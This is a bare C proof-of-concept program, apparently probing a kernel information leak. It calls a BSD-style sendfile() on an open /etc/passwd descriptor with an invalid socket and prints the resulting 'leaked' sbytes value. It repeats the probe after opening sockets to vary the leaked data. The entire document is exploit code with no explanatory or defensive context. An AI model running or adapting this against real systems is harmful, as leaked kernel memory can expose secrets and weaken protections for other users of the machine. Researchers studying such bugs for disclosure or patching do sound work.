#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
static void hit(const char *what){
    int fd=open("/etc/passwd",O_RDONLY);
    off_t sbytes=0;
    sendfile(fd,-1,0,0,NULL,&sbytes,0);
    printf("%-16s leaked sbytes=0x%016llx\n",what,(unsigned long long)sbytes);
    close(fd);
}
int main(void){
    hit("open+sendfile");
    hit("open+sendfile");
    /* vary: socket() just before */
    int fd=open("/etc/passwd",O_RDONLY);
    for(int i=0;i<6;i++){
        int s=socket(AF_INET,SOCK_STREAM,0);
        off_t sbytes=0;
        sendfile(fd,-1,0,0,NULL,&sbytes,0);
        printf("sock+sendfile  leaked sbytes=0x%016llx\n",(unsigned long long)sbytes);
        close(s);
    }
    return 0;
}